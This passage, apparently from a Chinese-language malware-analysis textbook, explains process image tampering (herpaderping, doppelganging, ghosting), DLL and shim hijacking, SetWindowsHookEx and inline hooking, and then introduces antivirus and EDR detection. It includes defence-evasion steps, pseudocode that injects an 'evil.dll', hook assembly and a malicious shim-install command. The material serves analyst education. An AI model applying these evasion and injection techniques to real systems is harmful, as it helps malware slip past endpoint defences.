进程映像篡改 滥用标准的 Windows 进程创建例程和端点防御(特别是反恶意软件软件)运作方式。为了防御恶意软件攻击,反恶意软件软件需要知道何时启动新进程,以便监视其可疑行为。这时 API 函数 PsSetCreateProcessNotifyRoutineEx 就派上了用场。当新进程被创建时,该函数会向端点防御软件发送通知消息,防御软件随后会检查并扫描启动该进程的原始可执行文件。如果反恶意软件软件发现可执行文件包含恶意代码,它可以将文件隔离并终止任何相关的进程。问题是,PsSetCreateProcessNotifyRoutineEx 不是在进程创建的确切时刻被调用,而是在进程上下文中运行的前几个线程被创建并执行时调用。这给了恶意软件一个机会,可以在反恶意软件解决方案扫描文件之前修改原始可执行文件。
进程操作还涉及干扰 Windows 创建进程的方式(如第一章所述)。本质上,Windows 通常会调用一个函数,如NtCreateUserProcess,这是一个内核函数,负责处理进程创建的细节,然后通过执行以下步骤将进程映射到内存中:
1. 获取可执行文件的句柄(例如,通过调用CreateFile)。
2. 为文件创建一个节对象,通常通过调用NtCreateSection函数。在这种情况下,节只是一个将被映射到内存中的对象。
3. 通过调用NtCreateProcessEx并传递一个引用新创建的节对象的参数,创建一个进程对象,将进程对象映射到内存中作为一个新进程。
4. 通过调用NtCreateThreadEx来执行该进程,创建并启动一个新线程。
让我们来看看如何使用不同的进程操作技术来干扰这些步骤。
进程混淆
进程混淆这个名字听起来有趣,但它威力十足。通过干扰 Windows 创建进程的方式,它使操作系统和反恶意软件解决方案感到困惑。图 12-15 展示了该技术是如何工作的。

图 12-15:进程混淆技术
该恶意软件首先在磁盘上创建一个新文件并获取其句柄,保持该句柄打开 ❶。它将恶意可执行代码写入此空文件,然后为该文件创建一个节对象 ❷。接下来,它使用这个新创建的节对象来创建一个进程 ❸。恶意代码现在已经映射到内存中,但还没有执行。到目前为止,这个方法遵循标准的 Windows PE 加载步骤,但接下来会变得有趣。
恶意软件修改或移除它在磁盘上创建的文件中的恶意代码❹。然后,它启动一个新线程(NtCreateThreadEx),在内存中执行恶意代码,并关闭打开文件的句柄。此时,上述的PsSetCreateProcessNotifyRoutineEx回调会触发,端点防御机制将启动,检查恶意文件。然而,由于恶意文件实际上已经不再包含恶意代码,反恶意软件程序被欺骗,认为一切正常。反恶意软件程序以及 Windows 本身假设,当文件已经映射到内存并在进程中运行时,它不能(或不应)在磁盘上被修改。进程的 herpaderping 利用了这种假设来执行恶意代码。你可以通过其作者了解更多关于此技术的信息,访问https://
进程双胞胎技术
进程双胞胎技术,由安全研究员尤金·科根(Eugene Kogan)和塔尔·利伯曼(Tal Liberman)在 2017 年 Black Hat 大会上首次提出,是一种利用事务性 NTFS 隐藏恶意代码执行的操作技术。术语doppelganging来源于双胞胎(doppelganger)一词,通常用来形容与他人有惊人相似的人。事务性 NTFS是为了增强 NTFS(Windows 默认文件系统)的功能和支持(如文件完整性保护和更好的错误处理)而设计的。它允许使用事务,即跟踪对文件系统的更改,并在必要时回滚这些更改。诸如文件删除等操作首先是在虚拟状态下发生的。如果文件删除请求成功,事务就会提交,文件会被实际删除;然而,如果文件删除请求出现错误,事务会回滚,文件不会被删除。最终,事务旨在防止因系统故障或其他意外事件导致的数据不一致和损坏。
使用事务创建的新文件通常无法从当前与其交互的进程之外访问;即便某些反恶意软件解决方案在这种情况下也无法访问该文件。因此,事务可以为恶意文件提供一个临时隐藏的安全位置。而且,由于事务文件可以“回滚”到之前的状态,端点防御机制很容易被混淆。这正是进程双胞胎技术有效的原因。图 12-16 展示了这种技术的工作原理。

图 12-16:进程伪冒技术
该恶意软件使用CreateTransaction创建一个新的 NTFS 事务,并使用CreateFileTransacted打开一个现有的可执行文件❶。(它也可以调用更底层的函数,如ZwCreateTransaction、RtlSetCurrentTransaction和ZwCreateFile来实现相同的效果。)接下来,恶意软件将其恶意代码写入现有的 PE 文件(WriteFile),这将替换原始可执行文件的代码❷。然后,恶意软件执行CreateProcess或NtCreateProcessEx来创建一个新进程,将新恶意 PE 文件(伪冒文件)的路径作为参数传递❸。一旦 PE 文件被映射到内存中并且恶意进程正在运行,恶意软件故意回滚原始的 NTFS 事务(RollbackTransaction),将文件恢复到其原始的、未感染的状态❹。当反恶意软件程序被通知到进程创建并扫描磁盘上的进程可执行文件时,已经太迟;原始的可执行文件已经被回滚到其未受感染的状态。
自 2017 年首次发布以来,进程伪冒技术出现了一些变种。一种变种被 Malwarebytes 的研究人员称为事务性空洞注入,它将进程空洞注入与进程伪冒结合起来(详见博客文章“进程伪冒与进程空洞注入在 Osiris 投放器中的结合”https://
正如你所看到的,进程图像操作技术依赖于利用 Windows 的基本行为,而且这些技术在短期内不太可能消失。对于分析人员来说,保持对新兴技术的关注非常重要。在本节的结尾,我们将介绍两种较新的进程操作技术。 #### 进程重映像与幽灵化
进程重映像类似于之前描述的技术,因为它依赖于操控当前运行的进程来绕过安全控制。为了执行进程重映像,恶意软件修改其 FILE_OBJECT 属性,该属性包含恶意软件在磁盘上的可执行文件路径,改为指向一个无害的合法可执行文件。此技术依赖于 Windows 处理 FILE_OBJECT 的方式存在不一致性,结果是一些反恶意软件产品过于信任恶意进程的 FILE_OBJECT 位置中存储的信息。更多关于该技术的信息可以在 McAfee 的博客文章《In NTDLL I Trust》中找到(https://
进程幽灵化与进程“伪装”最为相似。恶意软件创建一个文件并请求 Windows 将该文件置于待删除状态。由于文件进入此状态和实际删除之间可能会有延迟,恶意软件可以在文件中写入恶意可执行代码,并在 Windows 删除文件之前为其创建图像对象(将文件内容复制到内存中)。最后,恶意软件使用现在已删除文件的图像对象创建一个进程并执行它。由于 Windows 在文件处于待删除状态时防止终端防御软件(如反恶意软件)读取和检查该文件,这些防御机制实际上无法察觉文件中的恶意代码。你可以在博客文章《你需要了解的进程幽灵化》中阅读更多关于此技术的内容,网址为 https://
现在我们将转向另一对注入和隐蔽执行代码的方法。
DLL 和 Shim 劫持
劫持 是指通过干扰程序的正常执行流程或操控 Windows 运行程序的方式,以执行未授权的代码。具体而言,DLL 劫持 利用合法可执行文件加载其所需库的方式来注入恶意 DLL。Shim 劫持 则涉及使用 Windows 应用程序的 Shim(即拦截 API 调用的小型库)来将代码注入到执行中的进程中。让我们深入了解一下每种技术。
DLL 劫持
所有 Windows 应用程序在某个时刻必须加载 DLL 文件才能正常运行。大多数应用程序都有某种清单,列出了所有需要的 DLL 文件及其在磁盘上的位置。这个清单是应用程序 DLL 搜索顺序的一部分。其他可能的搜索顺序位置包括应用程序的默认安装目录(例如 C:\Program Files\CoolApplication),该目录包含其主可执行文件,以及存放标准 Windows DLL 文件的 Windows 目录(例如 %SystemRoot%\system32)。
这种设置留下了一个有趣的攻击向量。许多编写不良的应用程序没有验证它们加载的 DLL 文件的内容或签名;相反,它们会根据搜索顺序盲目加载所需的文件。更糟糕的是,一些编写不良的应用程序干脆会在其安装或运行目录中随意加载所有 DLL 文件。如果攻击者知道某个特定应用程序易受 DLL 劫持攻击,它可以制作一个特制的恶意软件,将其有效载荷以 DLL 文件的形式放入应用程序加载 DLL 文件的目录中。攻击者随后可以等待应用程序启动并自动加载该 DLL 到内存中,或者直接执行该应用程序并强制加载恶意 DLL。最后,一些恶意软件会直接修改应用程序的 DLL 搜索顺序或清单,强制加载恶意 DLL。这种攻击有几种变体(如 DLL 搜索顺序劫持、旁加载、预加载、远程预加载等),但它们的效果相同:巧妙且默默地将恶意 DLL 加载到易受攻击的应用程序进程内存空间中并执行未授权的代码。
这种攻击的一个例子来自 Qbot 恶意软件家族。一个 Qbot 变种通过几个文件传送给受害者,其中最引人注目的是一个恶意的 DLL 文件 (WindowsCodecs.dll)、一个较旧但合法的 Windows 计算器版本副本 (calc.exe) 和一个名为 7533.dll 的 DLL 文件。calc.exe 文件在其 IAT 中有一个有趣的导入,如 图 12-17 所示。

图 12-17:一个有趣的导入,来自一个 Qbot 变种的 calc.exe 文件
执行时,从当前位置开始,这个calc.exe应用程序会搜索WindowsCodecs.dll,其真实版本是一个合法的、无害的 Windows 辅助应用程序。由于恶意软件作者“贴心地”将WindowsCodecs.dll与calc.exe文件一起提供,恶意版本的 DLL 就被注入到calc.exe中并执行。图 12-18 展示了 Procmon 中的这一攻击。

图 12-18:恶意的 WindowsCodecs.dll 文件被旁加载
这个 Procmon 时间线导出展示了受害者执行易受攻击的calc.exe文件(进程启动),接着加载恶意的WindowsCodecs.dll文件(加载映像),然后执行另一个有效载荷(regsvr32.exe 7533.dll)。恶意软件作者知道这个特定版本的calc.exe易受 DLL 劫持攻击,因为它会盲目加载并执行任何位于其运行位置的名为WindowsCodecs.dll的 DLL。真是非常巧妙!
修补程序劫持
微软的应用兼容性框架允许应用程序修补,即为设计用于较旧版本 Windows 的软件添加兼容性,以便它可以在更新版本的操作系统上运行。开发人员可以使用修补程序为程序应用补丁,而无需重写或重新编译代码。然而,修补程序不仅是开发人员的好工具;使用它们也是恶意软件注入代码的强大方法。通过修补程序,恶意软件可以拦截 API 调用并修改其参数。当用户启动应用程序时,Windows 启动修补程序引擎并检查该应用程序是否安装了任何修补程序。恶意软件可以通过滥用修补程序InjectDLL来利用这一行为,正如其名称所示,它将 DLL 模块注入到被修补的应用程序中。一旦通过可执行文件启动应用程序,恶意 DLL 文件也会被加载到受害者应用程序的映像中并执行。
恶意行为者可以通过使用内置的 Windows 修补程序数据库安装工具sdbinst.exe在受害者系统上创建修补程序。恶意软件调用这个工具并将其指向恶意修补程序数据库(.sdb)文件,如下所示:
C:\> sdbinst.exe firefox.sdb
一旦恶意软件在受害者主机上安装了修补程序,修补程序数据库就会以.sdb文件的形式安装在C:\Windows\AppPatch\Custom或C:\Windows\AppPatch\AppPatch64\Custom\Custom64(针对 64 位应用程序)中。图 12-19 展示了这样的文件可能是什么样子的。

图 12-19:一个 .sdb 文件安装在 Windows 系统上
已安装的 shims 通常在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom 或 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB 中有注册表条目,如 图 12-20 所示。

图 12-20:Shim 数据库注册表条目
在调查过程中,你可以通过使用 SDB Explorer 工具,深入探索可疑的 .sdb 文件。该工具可以免费从 https://

图 12-21:在 SDB Explorer 中分析一个 .sdb 文件
正如你在此输出中看到的,文件似乎在进行 chrome.exe、explorer.exe、firefox.exe 和 iexplore.exe 的 shim 操作。你还可以看出它正在使用 InjectDll 功能,并引用了一个 DLL 文件 (spvc32loader.dll)。根据这些信息,我们可以怀疑这个 shim 目标是浏览器进程,并试图将恶意的 DLL 注入到它们各自的内存地址空间中,这将在浏览器进程首次执行时发生。
一个关于 shim 劫持的好例子可以在 Mandiant 关于威胁组织 FIN7 的报告中找到,该组织通过注册一个新的 shim 数据库并修补合法的 Windows services.exe 可执行文件,成功地安装了 Carbanak 后门并在受感染的终端上保持持久性。Services.exe 是一个关键的系统进程,并且每次 Windows 启动时都会运行。一旦 services.exe 执行,shim 就会执行并启动恶意的 Carbanak 载荷。有关此攻击的详细信息,请参见 https://
Shims 是一种多功能的规避机制。它们是一种通过隐藏在端点防御和调查者的雷达下悄悄注入代码的手段,也是建立持久性的方式(如 FIN7 攻击所示)。除了这些目的之外,shims 还可以作为一种初步的钩子方法。让我们来看一下钩子是如何工作的。
钩子
如第八章所述,hooking 是一种用于拦截、监控并可能修改 Windows 函数调用的技术。它既有恶意用途,也有合法应用;例如,以下应用程序可以使用 hooking:
-
良性应用程序(如补丁程序),用于修改或修补代码,或监控系统或其他应用程序
-
沙箱和其他恶意软件分析工具,用于监控恶意软件的行为
-
终端防御软件,如反恶意软件和终端检测与响应(EDR)
-
键盘记录器和其他信息窃取恶意软件,用于拦截键盘事件,以捕获击键并窃取敏感数据
-
规避检测的恶意软件,用于防止其代码被终端防御系统检测到
在本节中,我们首先将讨论 hook 在 Windows 中的工作原理,然后再介绍一些常见的挂钩技术。为了总结本节内容和本章内容,我们将探讨恶意软件如何在受害者进程中实现并注入 hook。
SetWindowsHookEx 挂钩与注入
实现 hook 的最简单方法之一是使用专门为此目的设计的 Windows 函数:SetWindowsHookEx。该函数允许调用者指定要挂钩的系统事件,如鼠标或键盘事件,并指定事件发生时要执行的代码。然而,SetWindowsHookEx也可能被滥用进行 DLL 注入,因为它接受一个 DLL 文件作为参数。以下简化的伪代码展示了如何使用SetWindowsHookEx来挂钩并悄无声息地在受害者进程的上下文中运行恶意代码:
hmod = LoadLibrary("evil.dll");
lpfn = GetProcAddress(hmod, "Function_1");
idHook = "WH_MOUSE_LL";
dwThreadId = 0;
HHOOK hook = SetWindowsHookEx(idHook, lpfn, hmod, dwThreadId);
在这个例子中,几个变量作为参数传递给SetWindowsHookEx。idHook参数可以有多个不同的值,每个值表示一个要监控和挂钩的系统事件。例如,WH_MOUSE和WH_MOUSE_LL(后者在这里显示)将拦截与鼠标相关的事件,如点击。恶意软件常用的两个其他钩子是WH_KEYBOARD和WH_KEYBOARD_LL,它们用于拦截与键盘相关的事件。
hmod 参数表示加载模块的名称,该模块包含将在鼠标事件发生时执行的恶意代码。在当前示例中,这个恶意软件调用了 LoadLibrary,该函数将恶意 DLL (evil.dll) 加载到受害者进程中。lpfn 参数表示一个指针,指向将在鼠标事件发生时执行的代码。在这种情况下,将执行的恶意函数是 Function_1,它位于 evil.dll 中。
最后,dwThreadId 参数表示要监控的特定线程 ID。如果调用 SetWindowsHookEx 的程序希望仅监控单个应用程序中的单个线程,可以在此设置线程 ID。如果调用程序希望监控所有线程,则可以将此参数设置为 0。
总结来说,每当检测到鼠标事件时,恶意 evil.dll 文件将在受害者进程内加载并执行。由于恶意软件可能隐藏并等待非常特定的事件发生,比如某个特定数量的鼠标点击或按下某个特定的键,这种攻击可以非常隐蔽。然而需要注意的是,这种技术相对较老,现代版本的 Windows 可以防止这种攻击,更不用说这种行为非常可疑,很可能触发终端防御机制。此外,这个具体示例几乎肯定会导致系统非常不稳定。(每次鼠标事件发生时加载 DLL 不是明智的决定!)然而,这种技术的变种仍然在现代恶意软件中使用,因此需要对此保持警惕。
内联钩子
用户空间钩子最常见的形式之一是内联钩子,它依赖于将代码注入到目标进程,并同时修改被钩住的合法函数,以强制跳转到注入的代码。首先,希望钩住另一个进程(目标进程)的进程必须通过之前描述的其中一种方法将代码注入目标进程;DLL 注入是最常见的一种。接下来,第一个进程在目标进程的地址空间内修改它希望钩住的函数,指向并跳转到注入的钩子代码。当目标进程执行该函数时,控制流从原始代码转移到钩子代码,随后可以用于监视、拦截或修改对原始函数的调用。图 12-22 展示了内联钩子技术。

图 12-22:内联 API 钩子技术
该应用程序调用了位于 ntdll.dll 内的 WinAPI 函数 NtCreateFile。通常,ntdll.dll 中的 NtCreateFile 代码会执行。然而,ntdll.dll 已被篡改,合法代码被跳转指令覆盖,因此现在程序会跳转并执行钩子代码。一旦恶意代码执行完毕,控制流将返回到 ntdll.dll,并最终返回到原始应用程序。
假设我们的系统已经被一种恶意软件感染,该恶意软件希望拦截并监控对受害进程(例如 firefox.exe)中 NtCreateFile 的所有调用。在将恶意钩子 DLL 注入到 firefox.exe 后,恶意软件必须修改受害进程地址空间中的 ntdll.dll 模块。恶意软件定位到 ntdll.dll 中的 NtCreateFile 函数,并将前 5 个字节覆盖为跳转到恶意注入的 DLL,而不是执行实际的 NtCreateFile 代码。(覆盖 5 个字节是常见的做法,因为这是跳转指令的典型大小。)第一个字节 E9(跳转指令)后跟 4 个字节,表示跳转的内存位置。为了修改目标进程中的函数代码,第一个进程可以调用 WriteProcessMemory 或 memcpy。此代码块展示了合法的 NtCreateFile 函数的前几个字节(以 x64 汇编表示):
`--snip--`
mov r10, rcx
mov eax, 55
test byte ptr ds:[7FFE0308], 1
jne ntdll.7FFC61D3CB65
`--snip--`
在恶意软件修改了 NtCreateFile 函数之后,它可能看起来像这样;注意跳转到了恶意代码:
`--snip--`
jmp hooked_code ; Jump to hooking code.
mov eax, 55
test byte ptr ds:[7FFE0308], 1
jne ntdll.7FFC61D3CB65
`--snip--`
跳转到钩子代码可以通过使用 push 和 ret 指令来实现,而不是 jmp 语句,如下所示:
`--snip--`
push address_of_hooked_code ; Push the address of the hooked code to the stack.
ret ; Return (jump) to the hooked code.
`--snip--`
在安装内联钩子时,代码作者通常希望在钩子代码运行后执行原始函数代码,以避免系统用户的审查。假设在我们的 NtCreateFile 示例中,作者希望拦截对 NtCreateFile 的调用,执行钩子代码,然后执行原始的 NtCreateFile 代码。这可以通过跳转回原始函数的 跳板 来实现,如 图 12-23 所示。

图 12-23:内联钩子跳板
跳板通常通过类似 call NtCreateFile+5 的指令来实现。在钩子代码执行后(在注入的 DLL 中),此指令将控制流转回真实的 NtCreateFile,跳过前 5 个字节,其中插入的 jmp 语句位于修改后的 ntdll.dll 文件中。
在分析恶意软件时,有三个函数调用可以提示内联钩子。首先,恶意软件调用 ReadProcessMemory 读取它希望在目标进程中钩住的函数的前几个字节。接着,恶意软件调用 VirtualProtect 修改目标内存区域的权限,为写入跳转指令做准备,跳转到注入目标进程的恶意代码。最后,恶意软件调用 WriteProcessMemory 将跳转指令写入目标函数的代码中。
注意
另一种用户空间钩子技术是 IAT 钩子,它通过修改目标进程的导入地址表,使其指向钩子代码而不是原始的函数代码。然而,现代恶意软件很少使用 IAT 钩子,因为它容易被基于主机的防御检测到,因此我不会进一步详细介绍这种方法。
进程和钩子注入的缓解措施
随着新的注入和钩取技术在恶意软件中使用或被研究人员发现并公布,微软会尽可能通过内置保护来应对这些技术。例如,数据执行保护,在 Windows XP 中引入,旨在通过将内存区域标记为不可执行,防止恶意软件执行注入的恶意代码。AppLocker,在 Windows 7 中引入,防止未经授权的可执行文件(包括注入的 DLL 文件)执行。控制流保护,在 Windows 8.1 中发布,旨在检测恶意软件是否修改了另一个进程的代码控制流,这通常发生在进程注入过程中。而 任意代码保护(ACG),在 Windows 10 中加入,旨在防止恶意软件修改合法进程的代码,从而防止某些类型的进程和钩取注入。
此外,像 EDR 和反恶意软件软件等补充防御措施可以监控可疑进程并检测或阻止其中的一些注入。然而,请记住,并非所有注入都是恶意的:许多良性、合法的应用程序因各种原因使用注入技术,因此终端防御产品可能很难区分良性和恶意的注入。第十三章将探讨一些终端防御措施以及恶意软件如何尝试绕过这些防御。
总结
在本章中,我们讨论了恶意软件常用的一些技术,它们通过将代码注入并在其他进程的上下文中运行来避开终端防御,并与其运行的环境融合。我们还介绍了一些恶意软件用来隐藏其恶意行为或实现 rootkit 功能的常见钩子。注入和钩取技术有很多种,无法在本书中一一覆盖。我尽力聚焦于那些你最有可能在实际环境中遇到的技术,以及一些恶意软件作者可能加入到其规避工具箱中的新技术。
在下一章,我们将开始探讨恶意软件如何绕过终端和网络防御措施,以便在一个高度防护的环境中执行并隐藏其恶意代码。
第十四章:13 规避端点和网络防御

为了成功渗透并在目标环境中运行,现代恶意软件必须能够生存并突破该环境的防御。许多目标,特别是在企业环境中的目标,背后都有多个防御应用程序和产品,它们不知疲倦地工作,保护着构成组织基础设施的系统和网络。恶意软件可以采取主动措施来规避这些防御(例如,通过篡改主机防御应用程序),也可以采取被动方式试图悄无声息地绕过这些防御。
在本章中,我将概述恶意软件可能在受害主机和网络中遇到的不同防御类型,然后我会解释它可能采用的一些技术,以绕过这些防御。防御规避是一个庞大的话题,因此本章将主要关注最常见的战术。
端点防御基础
端点防御市场充斥着过载的术语和花哨的产品名称。要跟上这一切并从根本上理解每个工具的实际功能可能会很困难。在这一节中,我将尝试为端点防御工具建立一个通用词汇表。然而,首先我们将简要回顾端点防御的历史,为我们建立一个基础知识水平,进而进行更深的理解。
端点防御技术简史
端点防御软件可以追溯到恶意软件的早期,即 1970 年代和 1980 年代。当时,端点防御被恰当地称为杀毒软件(AV)产品,因为大多数类型的恶意软件普遍被称为病毒。在那些早期阶段,恶意软件相对简单,AV 软件仅仅是通过搜索文件来查找特定的恶意模式。这些 AV 程序通常是由业余爱好者开发的。
在 1980 年代末和 1990 年代初,恶意软件开始变得更加复杂,商业 AV 软件公司(包括诺顿、卡巴斯基和迈克菲)应运而生,解决日益严重的威胁。这些公司开发的软件比业余爱好者的 AV 程序提供了更多高级功能,如实时扫描、基于启发式的检测和自动签名更新。
随着恶意软件作者被迫适应技术进步,他们创造了更加复杂和隐蔽的恶意软件,能够躲避传统的 AV 软件。作为回应,AV 供应商开始开发更强大的软件(我将称之为反恶意软件),以及被称为端点保护平台(EPP)的产品。EPP 是一种更完整的主机保护解决方案,包含了传统反恶意软件所没有的功能,例如内置软件防火墙和主机入侵防御。最近,端点检测与响应(EDR)解决方案作为一种更先进的端点安全解决方案出现,提供对端点活动的实时可视化,帮助安全团队快速检测和应对安全威胁。
主机防御技术之间有相当大的重叠。例如,许多现代反恶意软件产品结合了 EPP 和甚至 EDR 解决方案的某些方面。EPP 包括传统和现代反恶意软件的所有功能,并且可能与某些 EDR 解决方案有所重叠。EDR 通常包括反恶意软件和 EPP 的所有功能,以及其他一些功能。因此,为了简化起见,我将在本书中将端点防御归类为反恶意软件或 EDR。然而,请注意,每个产品供应商都有自己独特的“秘密配方”,因此这些类别旨在反映防御技术的工作原理,而不是它们在实践中的具体操作细节。
反恶意软件
也许最常见和最著名的主机防御技术是反恶意软件,或者以前被称为杀毒软件。它专门用于检测和识别系统上的恶意软件威胁,既包括硬盘上的恶意软件(在恶意软件执行之前),也包括内存中的恶意软件(在恶意软件已经在系统上运行之后)。为了实现这一点,反恶意软件使用一系列技术,包括基于哈希和基于特征的检测,以及启发式和行为分析。
基于哈希的检测
基于哈希的检测是一种早期反恶意软件扫描程序使用的原始方法,并且今天仍在一定程度上被使用。反恶意软件供应商维护一个已知为良性或恶意的文件哈希数据库。当文件写入磁盘时,反恶意软件会扫描该文件并将其哈希与数据库进行比较。如果该文件已知为良性,反恶意软件将不做任何处理。如果该文件已知为恶意,反恶意软件会自动将其从系统中移除,并将其放入一个特殊的隔离区,确保其不会造成任何危害。
这种基于哈希值的方法的主要问题在于,文件必须已经被反恶意软件程序识别。如果文件是新的,并且不在数据库中,反恶意软件就无法检测到它(至少,单靠哈希分析无法检测)。根据卡巴斯基 2020 年 12 月 15 日的新闻稿,2020 年每天约有 36 万个新的恶意文件被创建。这显然给基于哈希值的检测方法带来了问题,因为反恶意软件程序无法跟上如此庞大的文件量。
基于特征的检测
基于特征的检测,是对旧有哈希值检测方法的升级,使用特征或已知模式来识别文件或进程内存中的恶意代码。这些模式可以是字符串、字节序列、元数据或其他任何能表明文件或内存段可能与恶意软件相关的内容。反恶意软件程序会维护一个庞大的特征库,当它发现匹配时,便会发出警报并将相关文件隔离或终止可疑进程。基于特征的检测与在第二章中讨论的 Yara 规则类似。
随着时间的推移,恶意软件作者已经意识到这些检测技术。例如,由于基于特征的检测是通过寻找恶意模式,恶意软件作者可以简单地加密或混淆他们的恶意软件,无论是在磁盘上还是在内存中,以隐藏或改变这些模式。更糟糕的是,他们可以生成无数种恶意软件的变种,以至于检测机制再也无法跟上其变化。显然,反恶意软件程序必须不断进化。
基于启发式的检测
与其匹配文件哈希值或寻找软件中特定的模式,基于启发式的检测则关注文件的行为。它通过几种不同的子技术来实现这一目标。首先,它会检查文件是否有恶意代码的迹象。这个过程不仅仅是简单的字符串和字节序列模式匹配;它还会寻找一些指示,如可疑的汇编指令块或 API 调用的异常使用。这个过程还可能涉及加权或评分系统。当反恶意软件软件发现可疑的代码序列时,文件的分数会增加。一旦分数达到预定的阈值,反恶意软件引擎便会将文件判定为恶意文件。
更现代的基于启发式的方法还可以使用文件仿真技术来更好地理解文件。文件仿真涉及在仿真引擎中执行文件,这是一种非常轻量级的虚拟机,可以在文件真正执行之前动态地评估它。随着 CPU 指令在仿真器中执行,反恶意软件会监控文件的行为,如果有任何行为可疑或使文件的分数足够高,反恶意软件将采取进一步行动。
基于云的分析沙箱
在系统上运行每个文件通过仿真引擎将非常繁重,因此一些现代反恶意软件供应商改为使用基于云的分析沙箱。如果一个文件在经历了基于哈希、基于特征码和基于启发式的检测机制后仍未分类,该文件将被发送到反恶意软件供应商的云环境中进行沙箱化和进一步分析。基于云的沙箱化是一种众包安全方式,使用这种反恶意软件的所有客户都会收到通知,如果某个文件被确认恶意,即使他们之前从未见过该文件。
图 13-1 总结了我们迄今为止讨论的检测机制。

图 13-1:反恶意软件中的典型检测机制
请注意,许多现代反恶意软件解决方案使用了上述一些或全部技术的组合。
局限性与挑战
尽管反恶意软件已经随着时间的推移取得了显著进步和改进,但它仍然存在一些局限性。总体而言,它能够有效地识别和消除已知恶意的文件、与已知恶意文件相似的文件,以及那些不特别先进、针对性不强或定制化不高的文件。然而,更多先进和特定的威胁可能会悄悄绕过反恶意软件(我们将在本章后面看到)。
反恶意软件的另一个限制是必须考虑系统资源。反恶意软件面临着一项非常困难的任务:它必须同时扫描潜在的成千上万个文件和内存区域,同时保持尽可能低的系统资源占用,以避免干扰最终用户体验。这意味着它不能将每个文件都经过仿真或沙箱处理;它必须将这些更耗时和资源的技术保留给那些需要深入调查的可疑文件。
即使是在它认为是恶意的文件中,反恶意软件也必须具有选择性。例如,反恶意软件已知会将关键系统文件标记为恶意,这种行为是无法容忍的。因此,反恶意软件产品可能倾向于让文件通过而不是将其标记为恶意。
反恶意软件的一个最终限制是,虽然它旨在检测并消除端点的威胁,但它并不是为了事后入侵调查或上下文分析而设计的。现代和高级攻击通常涉及攻击链中的多个步骤,这些步骤使用了多种技术和组件,单靠反恶意软件可能会留下盲点,特别是在复杂的企业环境中。这时,EDR(端点检测与响应)就发挥了作用。
端点检测与响应
端点检测与响应(EDR)解决方案提供比传统反恶意软件解决方案更先进的威胁检测和响应功能。传统的反恶意软件解决方案主要集中在检测和防御已知的恶意软件威胁,而 EDR 解决方案能够检测并应对更广泛的高级威胁。
EDR 的主要优点之一是能够建立攻击的上下文。它通过收集来自多个端点的数据来创建这种上下文,通常被称为遥测,从而使调查人员能够进行更深入的分析,并识别整个企业中类似的恶意活动模式。EDR 甚至可以帮助调查小组识别攻击的“零号病人”。
让我们快速看看 EDR 的工作原理。通常,EDR 由多个组件组成,包括用户空间和内核空间的组件,以及日志聚合器和分析引擎。我们将从用户空间组件开始。
用户空间组件
EDR 解决方案始终至少有一个可执行文件作为用户空间中的进程运行。这个进程通常被称为代理,它以高权限上下文运行,并监视主机上其他进程的可疑行为,必要时进行干预。为了实现这一点,EDR 代理收集并分析系统事件,然后将这些信息转发给日志聚合器,我们稍后会讨论。当主机上创建一个新进程时,EDR 进程可以通过各种方法注入钩子模块到该进程中,方法包括在第十二章中讨论的那些。
图 13-2 展示了恶意软件被 EDR 钩住的过程。

图 13-2:EDR 过程使用模块钩住恶意软件
恶意软件可执行文件(malware.exe)调用位于kernel32.dll中的 WinAPI 函数,进而调用ntdll.dll。与正常情况下ntdll.dll通过系统调用进入内核空间不同,已安装的 EDR 软件通过先前注入的 DLL(edr_hook.dll)钩住ntdll.dll。这样,EDR 软件就可以决定是否允许 API 调用,或者阻止甚至终止它。如果 EDR 软件认为该 API 活动无害,它将允许 API 调用正常地传递到内核。
现代反恶意软件和 EDR 软件可能会钩住的一些常见功能包括:
-
内存操作(例如 NtProtectVirtualMemory 和 NtReadVirtualMemory)监视内存提交和保护变化,比如当 EDR 软件希望知道内存区域是否已更改为可读写可执行(RWX)时,表示该区域可能有代码即将被执行。
-
创建和终止进程的函数(如 NtCreateProcessEx, NtCreateUserProcess,和 NtTerminateProcess),以便 EDR 软件可以监控和挂钩新创建的进程
-
加载库的函数(如 LdrLoadDll),以便 EDR 软件可以在加载新库和模块时监控可疑进程
-
常用于进程注入的函数(如 NtOpenProcess, NtCreateThread, NtResumeThread, NtUnmapViewOfSection,和 NtMapViewOfSection),以便 EDR 软件可以监控代码注入和挂钩注入尝试
-
文件写入(如 NtWriteFile),常被勒索软件和其他破坏性恶意软件使用
-
尝试创建网络连接的函数,如 InternetOpen 和 InternetConnect,这些函数可以被 EDR 监控以检测可疑的网络通信
挂钩 API 函数调用只是监控系统的一种方式。一些 EDR 产品还使用其他来源收集系统数据,例如Windows 事件追踪(ETW),这是一个用于日志记录和诊断的机制,自 2007 年以来就已成为 Windows 的一部分。ETW 能够从多个来源收集和记录数据,包括用户空间进程和内核驱动程序,这使得它在 EDR 数据采集中也非常有用。你可以在微软文档中了解更多信息。
为了识别可疑活动,EDR 代理可能依赖于威胁评分系统。为了说明这一点,请参考图 13-3 中的攻击场景。

图 13-3:多阶段攻击
首先,攻击者向目标用户发送一封精心制作的钓鱼电子邮件,附件包含一个恶意的 Microsoft Office 文档。Office 文档中的恶意代码执行 PowerShell 来联系一个临时服务器,在那里攻击者的恶意软件载荷(ransomware.exe)被托管,然后在内存中下载并执行该载荷。之后,勒索软件载荷开始加密受害者硬盘上的文件。
EDR 产品会为构成此次攻击的每个事件分配一个分数。例如,它为启动 PowerShell 命令的 Office 文档分配 35 的威胁值,为连接到可疑服务器的操作分配 20 的威胁值,为下载并执行未知可执行文件分配 30 的威胁值。如果假设最大威胁分数为 100,并且任何超过 75 的值都被认为是恶意的,那么这个总计 85 的事件序列将触发 EDR 解决方案执行一些操作,比如终止 Office 和 PowerShell 进程,或断开与远程服务器的网络连接。勒索软件本身的执行可能会有很高的威胁评分,因为勒索软件会创建大量的文件写入操作。此外,与这些事件相关的元数据将被转发到一个中央日志存储和处理器,允许 EDR 产品在整个企业基础设施的上下文中分析这次攻击。
请记住,这个威胁评分系统示例是故意简化的,旨在演示 EDR 如何比传统的端点防御更能在高级攻击中“串联”事件。接下来,我们将讨论 EDR 解决方案中的另一个重要部分:内核空间组件。
内核空间组件
